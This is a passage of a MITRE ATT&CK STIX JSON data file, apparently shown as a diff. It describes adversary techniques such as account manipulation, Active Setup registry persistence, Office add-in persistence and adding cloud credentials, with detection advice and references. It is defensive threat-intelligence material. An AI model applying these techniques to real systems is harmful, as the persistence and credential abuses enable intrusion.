Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1546/008", + "external_id": "T1546.008", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/558.html", + "external_id": "CAPEC-558", + "source_name": "capec" + }, + { + "source_name": "FireEye Hikit Rootkit", + "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html" + }, + { + "source_name": "DEFCON2016 Sticky Keys", + "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.", + "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom" + }, + { + "source_name": "Tilbury 2014", + "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.", + "url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/" + }, + { + "url": "https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html", + "description": "Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020.", + "source_name": "Narrator Accessibility Abuse" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-07-14T19:15:29.911Z", + "name": "Account Access Removal", + "x_mitre_data_sources": [ + "User Account: User Account Deletion", + "User Account: User Account Modification", + "Active Directory: Active Directory Object Modification" + ], + "x_mitre_version": "1.0", + "created": "2019-10-09T18:48:31.906Z", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0", + "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.\n\nAdversaries may also subsequently log off and/or reboot boxes to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account:\n\n* Event ID 4723 - An attempt was made to change an account's password\n* Event ID 4724 - An attempt was made to reset an account's password\n* Event ID 4726 - A user account was deleted\n* Event ID 4740 - A user account was locked out\n\nAlerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1531", + "url": "https://attack.mitre.org/techniques/T1531" + }, + { + "source_name": "CarbonBlack LockerGoga 2019", + "description": "CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. Retrieved April 16, 2019.", + "url": "https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/" + }, + { + "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/", + "description": "Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.", + "source_name": "Unit42 LockerGoga 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Account Discovery", + "x_mitre_data_sources": [ + "User Account: User Account Metadata", + "Command: Command Execution", + "Process: Process Creation", + "File: File Access" + ], + "x_mitre_version": "2.3", + "modified": "2021-10-13T14:05:15.038Z", + "created": "2017-05-31T21:31:06.988Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "id": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.", + "x_mitre_contributors": [ + "Daniel Stepanic, Elastic", + "Microsoft Threat Intelligence Center (MSTIC)", + "Travis Smith, Tripwire" + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1087", + "external_id": "T1087", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/575.html", + "external_id": "CAPEC-575", + "source_name": "capec" + }, + { + "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql", + "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.", + "source_name": "Elastic - Koadiac Detection with EQL" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Account Manipulation", + "x_mitre_data_sources": [ + "File: File Modification", + "Command: Command Execution", + "Process: Process Creation", + "Group: Group Modification", + "User Account: User Account Modification", + "Active Directory: Active Directory Object Modification" + ], + "x_mitre_version": "2.2", + "modified": "2021-10-18T18:57:04.505Z", + "created": "2017-05-31T21:31:12.196Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "IaaS", + "Linux", + "macOS", + "Google Workspace" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", + "description": "Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.", + "x_mitre_contributors": [ + "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)", + "Praetorian", + "Tim MalcomVetter" + ], + "x_mitre_detection": "Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)\n\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\n\nMonitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1098", + "external_id": "T1098", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738", + "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017.", + "source_name": "Microsoft User Modified Event" + }, + { + "source_name": "Microsoft Security Event 4670", + "description": "Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670. Retrieved November 4, 2019.", + "url": "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670" + }, + { + "source_name": "InsiderThreat ChangeNTLM July 2017", + "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.", + "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM" + }, + { + "source_name": "GitHub Mimikatz Issue 92 June 2017", + "description": "Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017.", + "url": "https://github.com/gentilkiwi/mimikatz/issues/92" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Acquire Infrastructure", + "x_mitre_data_sources": [ + "Internet Scan: Response Metadata", + "Internet Scan: Response Content", + "Domain Name: Active DNS", + "Domain Name: Passive DNS", + "Domain Name: Domain Registration" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T15:45:02.209Z", + "created": "2020-09-30T16:37:40.271Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2", + "description": "Adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.\n\nUse of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. \n\nOnce adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1583", + "external_id": "T1583", + "source_name": "mitre-attack" + }, + { + "url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf", + "description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.", + "source_name": "TrendmicroHideoutsLease" + }, + { + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "source_name": "ThreatConnect Infrastructure Dec 2020" + }, + { + "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation", + "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.", + "source_name": "Mandiant SCANdalous Jul 2020" + }, + { + "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2", + "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", + "source_name": "Koczwara Beacon Hunting Sep 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Active Scanning", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:20:09.600Z", + "created": "2020-10-02T16:53:16.526Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b", + "description": "Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.\n\nAdversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1595", + "external_id": "T1595", + "source_name": "mitre-attack" + }, + { + "url": "https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf", + "description": "Dainotti, A. et al. (2012). Analysis of a \u201c/0\u201d Stealth Scan from a Botnet. Retrieved October 20, 2020.", + "source_name": "Botnet Scan" + }, + { + "url": "https://wiki.owasp.org/index.php/OAT-004_Fingerprinting", + "description": "OWASP Wiki. (2018, February 16). OAT-004 Fingerprinting. Retrieved October 20, 2020.", + "source_name": "OWASP Fingerprinting" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Active Setup", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2021-03-05T22:36:37.414Z", + "created": "2020-12-18T16:33:13.098Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "id": "attack-pattern--22522668-ddf6-470b-a027-9d6866679f67", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator" + ], + "description": "Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", + "x_mitre_contributors": [ + "Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)" + ], + "x_mitre_detection": "Monitor Registry key additions and/or modifications to HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1547/014", + "external_id": "T1547.014", + "source_name": "mitre-attack" + }, + { + "url": "https://helgeklein.com/blog/2010/04/active-setup-explained/", + "description": "Klein, H. (2010, April 22). Active Setup Explained. Retrieved December 18, 2020.", + "source_name": "Klein Active Setup 2010" + }, + { + "url": "https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf", + "description": "Glyer, C. (2010). Examples of Recent APT Persitence Mechanism. Retrieved December 18, 2020.", + "source_name": "Mandiant Glyer APT 2010" + }, + { + "url": "https://citizenlab.ca/2015/12/packrat-report/", + "description": "Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved December 18, 2020.", + "source_name": "Citizenlab Packrat 2015" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html", + "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020.", + "source_name": "FireEye CFR Watering Hole 2012" + }, + { + "url": "https://securelist.com/whos-really-spreading-through-the-bright-star/68978/", + "description": "Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who\u2019s Really Spreading through the Bright Star?. Retrieved December 18, 2020.", + "source_name": "SECURELIST Bright Star 2015" + }, + { + "url": "https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/", + "description": "Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020.", + "source_name": "paloalto Tropic Trooper 2016" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Add Office 365 Global Administrator Role", + "x_mitre_data_sources": [ + "User Account: User Account Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-24T12:40:02.331Z", + "created": "2020-01-19T16:59:45.362Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3", + "x_mitre_platforms": [ + "Office 365" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator" + ], + "description": "An adversary may add the Global Administrator role to an adversary-controlled account to maintain persistent access to an Office 365 tenant.(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins) via the global admin role.(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity.", + "x_mitre_contributors": [ + "Microsoft Threat Intelligence Center (MSTIC)" + ], + "x_mitre_detection": "Collect usage logs from cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1098/003", + "external_id": "T1098.003", + "source_name": "mitre-attack" + }, + { + "url": "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d", + "description": "Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.", + "source_name": "Microsoft Support O365 Add Another Admin, October 2019" + }, + { + "url": "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide", + "description": "Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.", + "source_name": "Microsoft O365 Admin Roles" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Add-ins", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification", + "File: File Creation", + "File: File Modification" + ], + "x_mitre_version": "1.1", + "modified": "2021-08-16T21:26:09.296Z", + "created": "2019-11-07T19:52:52.801Z", + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_platforms": [ + "Windows", + "Office 365" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d", + "description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_detection": "Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1137/006", + "external_id": "T1137.006", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Office Add-ins", + "description": "Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.", + "url": "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460" + }, + { + "source_name": "MRWLabs Office Persistence Add-ins", + "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.", + "url": "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/" + }, + { + "url": "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf", + "description": "Caban, D. and Hirani, M. (2018, October 3). You\u2019ve Got Mail! Enterprise Email Compromise. Retrieved April 22, 2019.", + "source_name": "FireEye Mail CDS 2018" + }, + { + "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique", + "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.", + "source_name": "GlobalDotName Jun 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Additional Cloud Credentials", + "x_mitre_data_sources": [ + "User Account: User Account Modification", + "Active Directory: Active Directory Object Modification" + ], + "x_mitre_version": "2.2", + "modified": "2021-03-08T10:33:01.582Z", + "created": "2020-01-19T16:10:15.008Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", + "x_mitre_platforms": [ + "IaaS", + "Azure AD" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "description": "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nAdversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)", + "x_mitre_contributors": [ + "Expel", + "Oleg Kolesnikov, Securonix", + "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)" + ], + "x_mitre_detection": "Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account.\n\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1098/001", + "external_id": "T1098.001", + "source_name": "mitre-attack" + }, + { + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.", + "source_name": "Microsoft SolarWinds Customer Guidance" + }, + { + "url": "https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1", + "description": "Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019.", + "source_name": "Blue Cloud of Death" + }, + { + "url": "https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815", + "description": "Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019.", + "source_name": "Blue Cloud of Death Video" + }, + { + "url": "https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/", + "description": "Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020.", + "source_name": "Demystifying Azure AD Service Principals" + }, + { + "url": "https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add", + "description": "Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020.", + "source_name": "GCP SSH Key Add" + }, + { + "url": "https://expel.io/blog/finding-evil-in-aws/", + "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.", + "source_name": "Expel IO Evil in AWS" + }, + { + "url": "https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/", + "description": "S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020.", + "source_name": "Expel Behind the Scenes" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Adversary-in-the-Middle", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow", + "Service: Service Creation", + "Windows Registry: Windows Registry Key Modification" + ], + "x_mitre_version": "2.0", + "modified": "2021-09-28T13:09:51.467Z", + "created": "2020-02-11T19:07:12.114Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "id": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM 